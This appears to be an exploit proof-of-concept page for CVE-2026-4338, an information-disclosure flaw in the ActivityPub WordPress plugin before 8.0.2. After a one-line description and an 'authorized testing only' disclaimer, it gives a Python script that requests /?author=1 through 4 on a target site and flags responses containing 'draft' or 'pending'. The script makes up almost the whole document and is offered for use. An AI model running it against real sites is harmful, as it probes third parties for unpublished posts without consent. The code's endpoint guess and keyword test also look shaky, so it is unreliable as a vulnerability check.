The ActivityPub WordPress plugin before 8.0.2 does not properly filter posts to be displayed, allowed unauthenticated users to access drafts/scheduled/pending posts
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-4338 (ActivityPub Plugin Information Disclosure)
import requests
def check_vulnerability(target_url):
# Attempt to access the ActivityPub feed which might expose drafts
# The endpoint usually looks like /?author=ID or similar depending on config
headers = {
'User-Agent': 'CVE-2026-4338-Scanner'
}
# Testing common author endpoints to find exposed posts
for author_id in range(1, 5):
url = f"{target_url.rstrip('/')}/?author={author_id}"
try:
response = requests.get(url, headers=headers, timeout=5)
if response.status_code == 200:
print(f"[+] Requested {url}")
# Check for keywords indicating draft or pending status in the HTML/JSON response
if "draft" in response.text.lower() or "pending" in response.text.lower():
print(f"[!] Potential sensitive content found for Author ID {author_id}")
return True
except Exception as e:
print(f"[-] Error connecting to {url}: {e}")
return False
if __name__ == "__main__":
target = "http://example.com" # Replace with target
check_vulnerability(target)